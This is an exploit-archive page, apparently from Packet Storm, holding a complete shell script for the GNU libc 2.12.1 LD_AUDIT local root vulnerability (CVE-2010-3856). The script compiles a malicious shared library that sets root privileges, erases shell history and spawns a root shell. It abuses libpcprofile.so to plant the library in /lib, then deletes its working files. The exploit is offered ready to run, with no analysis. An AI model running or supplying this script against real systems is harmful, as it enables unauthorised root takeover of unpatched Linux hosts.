what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root
Posted Nov 6, 2014
Authored by Saeid Bostandoust

GNU libc versions 2.12.1 and below LD_AUDIT libpcprofile.so local root exploit.

tags | exploit, local, root
advisories | CVE-2010-3856
SHA-256 | 11997246f78036a9735342aed99ef6bbde5fdf224f85ba7703ee81308de43bad

GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root

Change Mirror Download
#!/bin/sh

# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit
# Date: 05/11/2014
# Exploit Author: ssbostan
# Vendor Homepage: http://www.gnu.org/software/libc/
# Software Link: http://ftp.gnu.org/gnu/glibc/
# Version: <= 2.12.1
# Tested on: Ubuntu 8.04
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/

umask 0
cat > /tmp/libxpl.c << EOF
__attribute__((constructor)) void init()
{
setuid(0);
setgid(0);
unlink("/lib/libxpl.so");
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "/bin/sh", "-i", 0);
}
EOF
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null
cat /tmp/libxpl.so > /lib/libxpl.so
rm -rf /tmp/libxpl.c /tmp/libxpl.so
LD_AUDIT="libxpl.so" ping
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    8 Files
  • 6
    Jul 6th
    8 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close